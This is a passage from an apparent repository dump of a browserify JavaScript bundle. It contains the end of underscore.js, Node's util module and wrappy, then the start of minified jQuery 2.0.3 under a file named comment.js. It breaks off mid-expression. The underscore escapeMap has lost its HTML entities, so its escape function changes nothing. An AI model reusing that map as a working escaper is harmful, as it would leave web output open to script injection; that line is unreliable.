are not equivalent. return +a === +b; } var areArrays = className === '[object Array]'; if (!areArrays) { if (typeof a != 'object' || typeof b != 'object') return false; // Objects with different constructors are not equivalent, but `Object`s or `Array`s // from different frames are. var aCtor = a.constructor, bCtor = b.constructor; if (aCtor !== bCtor && !(_.isFunction(aCtor) && aCtor instanceof aCtor && _.isFunction(bCtor) && bCtor instanceof bCtor) && ('constructor' in a && 'constructor' in b)) { return false; } } // Assume equality for cyclic structures. The algorithm for detecting cyclic // structures is adapted from ES 5.1 section 15.12.3, abstract operation `JO`. // Initializing stack of traversed objects. // It's done here since we only need them for objects and arrays comparison. aStack = aStack || []; bStack = bStack || []; var length = aStack.length; while (length--) { // Linear search. Performance is inversely proportional to the number of // unique nested structures. if (aStack[length] === a) return bStack[length] === b; } // Add the first object to the stack of traversed objects. aStack.push(a); bStack.push(b); // Recursively compare objects and arrays. if (areArrays) { // Compare array lengths to determine if a deep comparison is necessary. length = a.length; if (length !== b.length) return false; // Deep compare the contents, ignoring non-numeric properties. while (length--) { if (!eq(a[length], b[length], aStack, bStack)) return false; } } else { // Deep compare objects. var keys = _.keys(a), key; length = keys.length; // Ensure that both objects contain the same number of properties before comparing deep equality. if (_.keys(b).length !== length) return false; while (length--) { // Deep compare each member key = keys[length]; if (!(_.has(b, key) && eq(a[key], b[key], aStack, bStack))) return false; } } // Remove the first object from the stack of traversed objects. aStack.pop(); bStack.pop(); return true; }; // Perform a deep comparison to check if two objects are equal. _.isEqual = function(a, b) { return eq(a, b); }; // Is a given array, string, or object empty? // An "empty" object has no enumerable own-properties. _.isEmpty = function(obj) { if (obj == null) return true; if (isArrayLike(obj) && (_.isArray(obj) || _.isString(obj) || _.isArguments(obj))) return obj.length === 0; return _.keys(obj).length === 0; }; // Is a given value a DOM element? _.isElement = function(obj) { return !!(obj && obj.nodeType === 1); }; // Is a given value an array? // Delegates to ECMA5's native Array.isArray _.isArray = nativeIsArray || function(obj) { return toString.call(obj) === '[object Array]'; }; // Is a given variable an object? _.isObject = function(obj) { var type = typeof obj; return type === 'function' || type === 'object' && !!obj; }; // Add some isType methods: isArguments, isFunction, isString, isNumber, isDate, isRegExp, isError. _.each(['Arguments', 'Function', 'String', 'Number', 'Date', 'RegExp', 'Error'], function(name) { _['is' + name] = function(obj) { return toString.call(obj) === '[object ' + name + ']'; }; }); // Define a fallback version of the method in browsers (ahem, IE < 9), where // there isn't any inspectable "Arguments" type. if (!_.isArguments(arguments)) { _.isArguments = function(obj) { return _.has(obj, 'callee'); }; } // Optimize `isFunction` if appropriate. Work around some typeof bugs in old v8, // IE 11 (#1621), and in Safari 8 (#1929). if (typeof /./ != 'function' && typeof Int8Array != 'object') { _.isFunction = function(obj) { return typeof obj == 'function' || false; }; } // Is a given object a finite number? _.isFinite = function(obj) { return isFinite(obj) && !isNaN(parseFloat(obj)); }; // Is the given value `NaN`? (NaN is the only number which does not equal itself). _.isNaN = function(obj) { return _.isNumber(obj) && obj !== +obj; }; // Is a given value a boolean? _.isBoolean = function(obj) { return obj === true || obj === false || toString.call(obj) === '[object Boolean]'; }; // Is a given value equal to null? _.isNull = function(obj) { return obj === null; }; // Is a given variable undefined? _.isUndefined = function(obj) { return obj === void 0; }; // Shortcut function for checking if an object has a given property directly // on itself (in other words, not on a prototype). _.has = function(obj, key) { return obj != null && hasOwnProperty.call(obj, key); }; // Utility Functions // ----------------- // Run Underscore.js in *noConflict* mode, returning the `_` variable to its // previous owner. Returns a reference to the Underscore object. _.noConflict = function() { root._ = previousUnderscore; return this; }; // Keep the identity function around for default iteratees. _.identity = function(value) { return value; }; // Predicate-generating functions. Often useful outside of Underscore. _.constant = function(value) { return function() { return value; }; }; _.noop = function(){}; _.property = property; // Generates a function for a given object that returns a given property. _.propertyOf = function(obj) { return obj == null ? function(){} : function(key) { return obj[key]; }; }; // Returns a predicate for checking whether an object has a given set of // `key:value` pairs. _.matcher = _.matches = function(attrs) { attrs = _.extendOwn({}, attrs); return function(obj) { return _.isMatch(obj, attrs); }; }; // Run a function **n** times. _.times = function(n, iteratee, context) { var accum = Array(Math.max(0, n)); iteratee = optimizeCb(iteratee, context, 1); for (var i = 0; i < n; i++) accum[i] = iteratee(i); return accum; }; // Return a random integer between min and max (inclusive). _.random = function(min, max) { if (max == null) { max = min; min = 0; } return min + Math.floor(Math.random() * (max - min + 1)); }; // A (possibly faster) way to get the current timestamp as an integer. _.now = Date.now || function() { return new Date().getTime(); }; // List of HTML entities for escaping. var escapeMap = { '&': '&', '<': '<', '>': '>', '"': '"', "'": ''', '`': '`' }; var unescapeMap = _.invert(escapeMap); // Functions for escaping and unescaping strings to/from HTML interpolation. var createEscaper = function(map) { var escaper = function(match) { return map[match]; }; // Regexes for identifying a key that needs to be escaped var source = '(?:' + _.keys(map).join('|') + ')'; var testRegexp = RegExp(source); var replaceRegexp = RegExp(source, 'g'); return function(string) { string = string == null ? '' : '' + string; return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string; }; }; _.escape = createEscaper(escapeMap); _.unescape = createEscaper(unescapeMap); // If the value of the named `property` is a function then invoke it with the // `object` as context; otherwise, return it. _.result = function(object, property, fallback) { var value = object == null ? void 0 : object[property]; if (value === void 0) { value = fallback; } return _.isFunction(value) ? value.call(object) : value; }; // Generate a unique integer id (unique within the entire client session). // Useful for temporary DOM ids. var idCounter = 0; _.uniqueId = function(prefix) { var id = ++idCounter + ''; return prefix ? prefix + id : id; }; // By default, Underscore uses ERB-style template delimiters, change the // following template settings to use alternative delimiters. _.templateSettings = { evaluate : /<%([\s\S]+?)%>/g, interpolate : /<%=([\s\S]+?)%>/g, escape : /<%-([\s\S]+?)%>/g }; // When customizing `templateSettings`, if you don't want to define an // interpolation, evaluation or escaping regex, we need one that is // guaranteed not to match. var noMatch = /(.)^/; // Certain characters need to be escaped so that they can be put into a // string literal. var escapes = { "'": "'", '\\': '\\', '\r': 'r', '\n': 'n', '\u2028': 'u2028', '\u2029': 'u2029' }; var escaper = /\\|'|\r|\n|\u2028|\u2029/g; var escapeChar = function(match) { return '\\' + escapes[match]; }; // JavaScript micro-templating, similar to John Resig's implementation. // Underscore templating handles arbitrary delimiters, preserves whitespace, // and correctly escapes quotes within interpolated code. // NB: `oldSettings` only exists for backwards compatibility. _.template = function(text, settings, oldSettings) { if (!settings && oldSettings) settings = oldSettings; settings = _.defaults({}, settings, _.templateSettings); // Combine delimiters into one regular expression via alternation. var matcher = RegExp([ (settings.escape || noMatch).source, (settings.interpolate || noMatch).source, (settings.evaluate || noMatch).source ].join('|') + '|$', 'g'); // Compile the template source, escaping string literals appropriately. var index = 0; var source = "__p+='"; text.replace(matcher, function(match, escape, interpolate, evaluate, offset) { source += text.slice(index, offset).replace(escaper, escapeChar); index = offset + match.length; if (escape) { source += "'+\n((__t=(" + escape + "))==null?'':_.escape(__t))+\n'"; } else if (interpolate) { source += "'+\n((__t=(" + interpolate + "))==null?'':__t)+\n'"; } else if (evaluate) { source += "';\n" + evaluate + "\n__p+='"; } // Adobe VMs need the match returned to produce the correct offest. return match; }); source += "';\n"; // If a variable is not specified, place data values in local scope. if (!settings.variable) source = 'with(obj||{}){\n' + source + '}\n'; source = "var __t,__p='',__j=Array.prototype.join," + "print=function(){__p+=__j.call(arguments,'');};\n" + source + 'return __p;\n'; try { var render = new Function(settings.variable || 'obj', '_', source); } catch (e) { e.source = source; throw e; } var template = function(data) { return render.call(this, data, _); }; // Provide the compiled source as a convenience for precompilation. var argument = settings.variable || 'obj'; template.source = 'function(' + argument + '){\n' + source + '}'; return template; }; // Add a "chain" function. Start chaining a wrapped Underscore object. _.chain = function(obj) { var instance = _(obj); instance._chain = true; return instance; }; // OOP // --------------- // If Underscore is called as a function, it returns a wrapped object that // can be used OO-style. This wrapper holds altered versions of all the // underscore functions. Wrapped objects may be chained. // Helper function to continue chaining intermediate results. var result = function(instance, obj) { return instance._chain ? _(obj).chain() : obj; }; // Add your own custom functions to the Underscore object. _.mixin = function(obj) { _.each(_.functions(obj), function(name) { var func = _[name] = obj[name]; _.prototype[name] = function() { var args = [this._wrapped]; push.apply(args, arguments); return result(this, func.apply(_, args)); }; }); }; // Add all of the Underscore functions to the wrapper object. _.mixin(_); // Add all mutator Array functions to the wrapper. _.each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) { var method = ArrayProto[name]; _.prototype[name] = function() { var obj = this._wrapped; method.apply(obj, arguments); if ((name === 'shift' || name === 'splice') && obj.length === 0) delete obj[0]; return result(this, obj); }; }); // Add all accessor Array functions to the wrapper. _.each(['concat', 'join', 'slice'], function(name) { var method = ArrayProto[name]; _.prototype[name] = function() { return result(this, method.apply(this._wrapped, arguments)); }; }); // Extracts the result from a wrapped and chained object. _.prototype.value = function() { return this._wrapped; }; // Provide unwrapping proxy for some methods used in engine operations // such as arithmetic and JSON stringification. _.prototype.valueOf = _.prototype.toJSON = _.prototype.value; _.prototype.toString = function() { return '' + this._wrapped; }; // AMD registration happens at the end for compatibility with AMD loaders // that may not enforce next-turn semantics on modules. Even though general // practice for AMD registration is to be anonymous, underscore registers // as a named module because, like jQuery, it is a base library that is // popular enough to be bundled in a third party lib, but not be part of // an AMD load request. Those cases could generate an error when an // anonymous define() is called outside of a loader request. if (typeof define === 'function' && define.amd) { define('underscore', [], function() { return _; }); } }.call(this)); },{}],26:[function(require,module,exports){ arguments[4][19][0].apply(exports,arguments) },{"dup":19}],27:[function(require,module,exports){ module.exports = function isBuffer(arg) { return arg && typeof arg === 'object' && typeof arg.copy === 'function' && typeof arg.fill === 'function' && typeof arg.readUInt8 === 'function'; } },{}],28:[function(require,module,exports){ (function (process,global){ // Copyright Joyent, Inc. and other Node contributors. // // Permission is hereby granted, free of charge, to any person obtaining a // copy of this software and associated documentation files (the // "Software"), to deal in the Software without restriction, including // without limitation the rights to use, copy, modify, merge, publish, // distribute, sublicense, and/or sell copies of the Software, and to permit // persons to whom the Software is furnished to do so, subject to the // following conditions: // // The above copyright notice and this permission notice shall be included // in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS // OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN // NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, // DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR // OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE // USE OR OTHER DEALINGS IN THE SOFTWARE. var formatRegExp = /%[sdj%]/g; exports.format = function(f) { if (!isString(f)) { var objects = []; for (var i = 0; i < arguments.length; i++) { objects.push(inspect(arguments[i])); } return objects.join(' '); } var i = 1; var args = arguments; var len = args.length; var str = String(f).replace(formatRegExp, function(x) { if (x === '%%') return '%'; if (i >= len) return x; switch (x) { case '%s': return String(args[i++]); case '%d': return Number(args[i++]); case '%j': try { return JSON.stringify(args[i++]); } catch (_) { return '[Circular]'; } default: return x; } }); for (var x = args[i]; i < len; x = args[++i]) { if (isNull(x) || !isObject(x)) { str += ' ' + x; } else { str += ' ' + inspect(x); } } return str; }; // Mark that a method should not be used. // Returns a modified function which warns once by default. // If --no-deprecation is set, then it is a no-op. exports.deprecate = function(fn, msg) { // Allow for deprecating things in the process of starting up. if (isUndefined(global.process)) { return function() { return exports.deprecate(fn, msg).apply(this, arguments); }; } if (process.noDeprecation === true) { return fn; } var warned = false; function deprecated() { if (!warned) { if (process.throwDeprecation) { throw new Error(msg); } else if (process.traceDeprecation) { console.trace(msg); } else { console.error(msg); } warned = true; } return fn.apply(this, arguments); } return deprecated; }; var debugs = {}; var debugEnviron; exports.debuglog = function(set) { if (isUndefined(debugEnviron)) debugEnviron = process.env.NODE_DEBUG || ''; set = set.toUpperCase(); if (!debugs[set]) { if (new RegExp('\\b' + set + '\\b', 'i').test(debugEnviron)) { var pid = process.pid; debugs[set] = function() { var msg = exports.format.apply(exports, arguments); console.error('%s %d: %s', set, pid, msg); }; } else { debugs[set] = function() {}; } } return debugs[set]; }; /** * Echos the value of a value. Trys to print the value out * in the best way possible given the different types. * * @param {Object} obj The object to print out. * @param {Object} opts Optional options object that alters the output. */ /* legacy: obj, showHidden, depth, colors*/ function inspect(obj, opts) { // default options var ctx = { seen: [], stylize: stylizeNoColor }; // legacy... if (arguments.length >= 3) ctx.depth = arguments[2]; if (arguments.length >= 4) ctx.colors = arguments[3]; if (isBoolean(opts)) { // legacy... ctx.showHidden = opts; } else if (opts) { // got an "options" object exports._extend(ctx, opts); } // set default options if (isUndefined(ctx.showHidden)) ctx.showHidden = false; if (isUndefined(ctx.depth)) ctx.depth = 2; if (isUndefined(ctx.colors)) ctx.colors = false; if (isUndefined(ctx.customInspect)) ctx.customInspect = true; if (ctx.colors) ctx.stylize = stylizeWithColor; return formatValue(ctx, obj, ctx.depth); } exports.inspect = inspect; // http://en.wikipedia.org/wiki/ANSI_escape_code#graphics inspect.colors = { 'bold' : [1, 22], 'italic' : [3, 23], 'underline' : [4, 24], 'inverse' : [7, 27], 'white' : [37, 39], 'grey' : [90, 39], 'black' : [30, 39], 'blue' : [34, 39], 'cyan' : [36, 39], 'green' : [32, 39], 'magenta' : [35, 39], 'red' : [31, 39], 'yellow' : [33, 39] }; // Don't use 'blue' not visible on cmd.exe inspect.styles = { 'special': 'cyan', 'number': 'yellow', 'boolean': 'yellow', 'undefined': 'grey', 'null': 'bold', 'string': 'green', 'date': 'magenta', // "name": intentionally not styling 'regexp': 'red' }; function stylizeWithColor(str, styleType) { var style = inspect.styles[styleType]; if (style) { return '\u001b[' + inspect.colors[style][0] + 'm' + str + '\u001b[' + inspect.colors[style][1] + 'm'; } else { return str; } } function stylizeNoColor(str, styleType) { return str; } function arrayToHash(array) { var hash = {}; array.forEach(function(val, idx) { hash[val] = true; }); return hash; } function formatValue(ctx, value, recurseTimes) { // Provide a hook for user-specified inspect functions. // Check that value is an object with an inspect function on it if (ctx.customInspect && value && isFunction(value.inspect) && // Filter out the util module, it's inspect function is special value.inspect !== exports.inspect && // Also filter out any prototype objects using the circular check. !(value.constructor && value.constructor.prototype === value)) { var ret = value.inspect(recurseTimes, ctx); if (!isString(ret)) { ret = formatValue(ctx, ret, recurseTimes); } return ret; } // Primitive types cannot have properties var primitive = formatPrimitive(ctx, value); if (primitive) { return primitive; } // Look up the keys of the object. var keys = Object.keys(value); var visibleKeys = arrayToHash(keys); if (ctx.showHidden) { keys = Object.getOwnPropertyNames(value); } // IE doesn't make error fields non-enumerable // http://msdn.microsoft.com/en-us/library/ie/dww52sbt(v=vs.94).aspx if (isError(value) && (keys.indexOf('message') >= 0 || keys.indexOf('description') >= 0)) { return formatError(value); } // Some type of object without properties can be shortcutted. if (keys.length === 0) { if (isFunction(value)) { var name = value.name ? ': ' + value.name : ''; return ctx.stylize('[Function' + name + ']', 'special'); } if (isRegExp(value)) { return ctx.stylize(RegExp.prototype.toString.call(value), 'regexp'); } if (isDate(value)) { return ctx.stylize(Date.prototype.toString.call(value), 'date'); } if (isError(value)) { return formatError(value); } } var base = '', array = false, braces = ['{', '}']; // Make Array say that they are Array if (isArray(value)) { array = true; braces = ['[', ']']; } // Make functions say that they are functions if (isFunction(value)) { var n = value.name ? ': ' + value.name : ''; base = ' [Function' + n + ']'; } // Make RegExps say that they are RegExps if (isRegExp(value)) { base = ' ' + RegExp.prototype.toString.call(value); } // Make dates with properties first say the date if (isDate(value)) { base = ' ' + Date.prototype.toUTCString.call(value); } // Make error with message first say the error if (isError(value)) { base = ' ' + formatError(value); } if (keys.length === 0 && (!array || value.length == 0)) { return braces[0] + base + braces[1]; } if (recurseTimes < 0) { if (isRegExp(value)) { return ctx.stylize(RegExp.prototype.toString.call(value), 'regexp'); } else { return ctx.stylize('[Object]', 'special'); } } ctx.seen.push(value); var output; if (array) { output = formatArray(ctx, value, recurseTimes, visibleKeys, keys); } else { output = keys.map(function(key) { return formatProperty(ctx, value, recurseTimes, visibleKeys, key, array); }); } ctx.seen.pop(); return reduceToSingleString(output, base, braces); } function formatPrimitive(ctx, value) { if (isUndefined(value)) return ctx.stylize('undefined', 'undefined'); if (isString(value)) { var simple = '\'' + JSON.stringify(value).replace(/^"|"$/g, '') .replace(/'/g, "\\'") .replace(/\\"/g, '"') + '\''; return ctx.stylize(simple, 'string'); } if (isNumber(value)) return ctx.stylize('' + value, 'number'); if (isBoolean(value)) return ctx.stylize('' + value, 'boolean'); // For some reason typeof null is "object", so special case here. if (isNull(value)) return ctx.stylize('null', 'null'); } function formatError(value) { return '[' + Error.prototype.toString.call(value) + ']'; } function formatArray(ctx, value, recurseTimes, visibleKeys, keys) { var output = []; for (var i = 0, l = value.length; i < l; ++i) { if (hasOwnProperty(value, String(i))) { output.push(formatProperty(ctx, value, recurseTimes, visibleKeys, String(i), true)); } else { output.push(''); } } keys.forEach(function(key) { if (!key.match(/^\d+$/)) { output.push(formatProperty(ctx, value, recurseTimes, visibleKeys, key, true)); } }); return output; } function formatProperty(ctx, value, recurseTimes, visibleKeys, key, array) { var name, str, desc; desc = Object.getOwnPropertyDescriptor(value, key) || { value: value[key] }; if (desc.get) { if (desc.set) { str = ctx.stylize('[Getter/Setter]', 'special'); } else { str = ctx.stylize('[Getter]', 'special'); } } else { if (desc.set) { str = ctx.stylize('[Setter]', 'special'); } } if (!hasOwnProperty(visibleKeys, key)) { name = '[' + key + ']'; } if (!str) { if (ctx.seen.indexOf(desc.value) < 0) { if (isNull(recurseTimes)) { str = formatValue(ctx, desc.value, null); } else { str = formatValue(ctx, desc.value, recurseTimes - 1); } if (str.indexOf('\n') > -1) { if (array) { str = str.split('\n').map(function(line) { return ' ' + line; }).join('\n').substr(2); } else { str = '\n' + str.split('\n').map(function(line) { return ' ' + line; }).join('\n'); } } } else { str = ctx.stylize('[Circular]', 'special'); } } if (isUndefined(name)) { if (array && key.match(/^\d+$/)) { return str; } name = JSON.stringify('' + key); if (name.match(/^"([a-zA-Z_][a-zA-Z_0-9]*)"$/)) { name = name.substr(1, name.length - 2); name = ctx.stylize(name, 'name'); } else { name = name.replace(/'/g, "\\'") .replace(/\\"/g, '"') .replace(/(^"|"$)/g, "'"); name = ctx.stylize(name, 'string'); } } return name + ': ' + str; } function reduceToSingleString(output, base, braces) { var numLinesEst = 0; var length = output.reduce(function(prev, cur) { numLinesEst++; if (cur.indexOf('\n') >= 0) numLinesEst++; return prev + cur.replace(/\u001b\[\d\d?m/g, '').length + 1; }, 0); if (length > 60) { return braces[0] + (base === '' ? '' : base + '\n ') + ' ' + output.join(',\n ') + ' ' + braces[1]; } return braces[0] + base + ' ' + output.join(', ') + ' ' + braces[1]; } // NOTE: These type checking functions intentionally don't use `instanceof` // because it is fragile and can be easily faked with `Object.create()`. function isArray(ar) { return Array.isArray(ar); } exports.isArray = isArray; function isBoolean(arg) { return typeof arg === 'boolean'; } exports.isBoolean = isBoolean; function isNull(arg) { return arg === null; } exports.isNull = isNull; function isNullOrUndefined(arg) { return arg == null; } exports.isNullOrUndefined = isNullOrUndefined; function isNumber(arg) { return typeof arg === 'number'; } exports.isNumber = isNumber; function isString(arg) { return typeof arg === 'string'; } exports.isString = isString; function isSymbol(arg) { return typeof arg === 'symbol'; } exports.isSymbol = isSymbol; function isUndefined(arg) { return arg === void 0; } exports.isUndefined = isUndefined; function isRegExp(re) { return isObject(re) && objectToString(re) === '[object RegExp]'; } exports.isRegExp = isRegExp; function isObject(arg) { return typeof arg === 'object' && arg !== null; } exports.isObject = isObject; function isDate(d) { return isObject(d) && objectToString(d) === '[object Date]'; } exports.isDate = isDate; function isError(e) { return isObject(e) && (objectToString(e) === '[object Error]' || e instanceof Error); } exports.isError = isError; function isFunction(arg) { return typeof arg === 'function'; } exports.isFunction = isFunction; function isPrimitive(arg) { return arg === null || typeof arg === 'boolean' || typeof arg === 'number' || typeof arg === 'string' || typeof arg === 'symbol' || // ES6 symbol typeof arg === 'undefined'; } exports.isPrimitive = isPrimitive; exports.isBuffer = require('./support/isBuffer'); function objectToString(o) { return Object.prototype.toString.call(o); } function pad(n) { return n < 10 ? '0' + n.toString(10) : n.toString(10); } var months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']; // 26 Feb 16:19:34 function timestamp() { var d = new Date(); var time = [pad(d.getHours()), pad(d.getMinutes()), pad(d.getSeconds())].join(':'); return [d.getDate(), months[d.getMonth()], time].join(' '); } // log is just a thin wrapper to console.log that prepends a timestamp exports.log = function() { console.log('%s - %s', timestamp(), exports.format.apply(exports, arguments)); }; /** * Inherit the prototype methods from one constructor into another. * * The Function.prototype.inherits from lang.js rewritten as a standalone * function (not on Function.prototype). NOTE: If this file is to be loaded * during bootstrapping this function needs to be rewritten using some native * functions as prototype setup using normal JavaScript does not work as * expected during bootstrapping (see mirror.js in r114903). * * @param {function} ctor Constructor function which needs to inherit the * prototype. * @param {function} superCtor Constructor function to inherit prototype from. */ exports.inherits = require('inherits'); exports._extend = function(origin, add) { // Don't do anything if add isn't an object if (!add || !isObject(add)) return origin; var keys = Object.keys(add); var i = keys.length; while (i--) { origin[keys[i]] = add[keys[i]]; } return origin; }; function hasOwnProperty(obj, prop) { return Object.prototype.hasOwnProperty.call(obj, prop); } }).call(this,require('_process'),typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {}) },{"./support/isBuffer":27,"_process":24,"inherits":26}],29:[function(require,module,exports){ // Returns a wrapper function that returns a wrapped callback // The wrapper function should do some stuff, and return a // presumably different callback function. // This makes sure that own properties are retained, so that // decorations and such are not lost along the way. module.exports = wrappy function wrappy (fn, cb) { if (fn && cb) return wrappy(fn)(cb) if (typeof fn !== 'function') throw new TypeError('need wrapper function') Object.keys(fn).forEach(function (k) { wrapper[k] = fn[k] }) return wrapper function wrapper() { var args = new Array(arguments.length) for (var i = 0; i < args.length; i++) { args[i] = arguments[i] } var ret = fn.apply(this, args) var cb = args[args.length-1] if (typeof ret === 'function' && ret !== cb) { Object.keys(cb).forEach(function (k) { ret[k] = cb[k] }) } return ret } } },{}]},{},[7])(7) }); ================================================ FILE: docs/assets/js/comment.js ================================================ /*! jQuery v2.0.3 | (c) 2005, 2013 jQuery Foundation, Inc. | jquery.org/license //@ sourceMappingURL=jquery.min.map */ (function(e,undefined){var t,n,r=typeof undefined,i=e.location,o=e.document,s=o.documentElement,a=e.jQuery,u=e.$,l={},c=[],p="2.0.3",f=c.concat,h=c.push,d=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=p.trim,x=function(e,n){return new x.fn.init(e,n,t)},b=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,w=/\S+/g,T=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,C=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,k=/^-ms-/,N=/-([\da-z])/gi,E=function(e,t){return t.toUpperCase()},S=function(){o.removeEventListener("DOMContentLoaded",S,!1),e.removeEventListener("load",S,!1),x.ready()};x.fn=x.prototype={jquery:p,constructor:x,init:function(e,t,n){var r,i;if(!e)return this;if("string"==typeof e){if(r="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:T.exec(e),!r||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof x?t[0]:t,x.merge(this,x.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:o,!0)),C.test(r[1])&&x.isPlainObject(t))for(r in t)x.isFunction(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return i=o.getElementById(r[2]),i&&i.parentNode&&(this.length=1,this[0]=i),this.context=o,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):x.isFunction(e)?n.ready(e):(e.selector!==undefined&&(this.selector=e.selector,this.context=e.context),x.makeArray(e,this))},selector:"",length:0,toArray:function(){return d.call(this)},get:function(e){return null==e?this.toArray():0>e?this[this.length+e]:this[e]},pushStack:function(e){var t=x.merge(this.constructor(),e);return t.prevObject=this,t.context=this.context,t},each:function(e,t){return x.each(this,e,t)},ready:function(e){return x.ready.promise().done(e),this},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(0>e?t:0);return this.pushStack(n>=0&&t>n?[this[n]]:[])},map:function(e){return this.pushStack(x.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:h,sort:[].sort,splice:[].splice},x.fn.init.prototype=x.fn,x.extend=x.fn.extend=function(){var e,t,n,r,i,o,s=arguments[0]||{},a=1,u=arguments.length,l=!1;for("boolean"==typeof s&&(l=s,s=arguments[1]||{},a=2),"object"==typeof s||x.isFunction(s)||(s={}),u===a&&(s=this,--a);u>a;a++)if(null!=(e=arguments[a]))for(t in e)n=s[t],r=e[t],s!==r&&(l&&r&&(x.isPlainObject(r)||(i=x.isArray(r)))?(i?(i=!1,o=n&&x.isArray(n)?n:[]):o=n&&x.isPlainObject(n)?n:{},s[t]=x.extend(l,o,r)):r!==undefined&&(s[t]=r));return s},x.extend({expando:"jQuery"+(p+Math.random()).replace(/\D/g,""),noConflict:function(t){return e.$===x&&(e.$=u),t&&e.jQuery===x&&(e.jQuery=a),x},isReady:!1,readyWait:1,holdReady:function(e){e?x.readyWait++:x.ready(!0)},ready:function(e){(e===!0?--x.readyWait:x.isReady)||(x.isReady=!0,e!==!0&&--x.readyWait>0||(n.resolveWith(o,[x]),x.fn.trigger&&x(o).trigger("ready").off("ready")))},isFunction:function(e){return"function"===x.type(e)},isArray:Array.isArray,isWindow:function(e){return null!=e&&e===e.window},isNumeric:function(e){return!isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[m.call(e)]||"object":typeof e},isPlainObject:function(e){if("object"!==x.type(e)||e.nodeType||x.isWindow(e))return!1;try{if(e.constructor&&!y.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(t){return!1}return!0},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},error:function(e){throw Error(e)},parseHTML:function(e,t,n){if(!e||"string"!=typeof e)return null;"boolean"==typeof t&&(n=t,t=!1),t=t||o;var r=C.exec(e),i=!n&&[];return r?[t.createElement(r[1])]:(r=x.buildFragment([e],t,i),i&&x(i).remove(),x.merge([],r.childNodes))},parseJSON:JSON.parse,parseXML:function(e){var t,n;if(!e||"string"!=typeof e)return null;try{n=new DOMParser,t=n.parseFromString(e,"text/xml")}catch(r){t=undefined}return(!t||t.getElementsByTagName("parsererror").length)&&x.error("Invalid XML: "+e),t},noop:function(){},globalEval:function(e){var t,n=eval;e=x.trim(e),e&&(1===e.indexOf("use strict")?(t=o.createElement("script"),t.text=e,o.head.appendChild(t).parentNode.removeChild(t)):n(e))},camelCase:function(e){return e.replace(k,"ms-").replace(N,E)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t,n){var r,i=0,o=e.length,s=j(e);if(n){if(s){for(;o>i;i++)if(r=t.apply(e[i],n),r===!1)break}else for(i in e)if(r=t.apply(e[i],n),r===!1)break}else if(s){for(;o>i;i++)if(r=t.call(e[i],i,e[i]),r===!1)break}else for(i in e)if(r=t.call(e[i],i,e[i]),r===!1)break;return e},trim:function(e){return null==e?"":v.call(e)},makeArray:function(e,t){var n=t||[];return null!=e&&(j(Object(e))?x.merge(n,"string"==typeof e?[e]:e):h.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:g.call(t,e,n)},merge:function(e,t){var n=t.length,r=e.length,i=0;if("number"==typeof n)for(;n>i;i++)e[r++]=t[i];else while(t[i]!==undefined)e[r++]=t[i++];return e.length=r,e},grep:function(e,t,n){var r,i=[],o=0,s=e.length;for(n=!!n;s>o;o++)r=!!t(e[o],o),n!==r&&i.push(e[o]);return i},map:function(e,t,n){var r,i=0,o=e.length,s=j(e),a=[];if(s)for(;o>i;i++)r=t(e[i],i,n),null!=r&&(a[a.length]=r);else for(i in e)r=t(e[i],i,n),null!=r&&(a[a.length]=r);return f.apply([],a)},guid:1,proxy:function(e,t){var n,r,i;return"string"==typeof t&&(n=e[t],t=e,e=n),x.isFunction(e)?(r=d.call(arguments,2),i=function(){return e.apply(t||this,r.concat(d.call(arguments)))},i.guid=e.guid=e.guid||x.guid++,i):undefined},access:function(e,t,n,r,i,o,s){var a=0,u=e.length,l=null==n;if("object"===x.type(n)){i=!0;for(a in n)x.access(e,t,a,n[a],!0,o,s)}else if(r!==undefined&&(i=!0,x.isFunction(r)||(s=!0),l&&(s?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(x(e),n)})),t))for(;u>a;a++)t(e[a],n,s?r:r.call(e[a],a,t(e[a],n)));return i?e:l?t.call(e):u?t(e[0],n):o},now:Date.now,swap:function(e,t,n,r){var i,o,s={};for(o in t)s[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=s[o];return i}}),x.ready.promise=function(t){return n||(n=x.Deferred(),"complete"===o.readyState?setTimeout(x.ready):(o.addEventListener("DOMContentLoaded",S,!1),e.addEventListener("load",S,!1))),n.promise(t)},x.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function j(e){var t=e.length,n=x.type(e);return x.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n||"function"!==n&&(0===t||"number"==typeof t&&t>0&&t-1 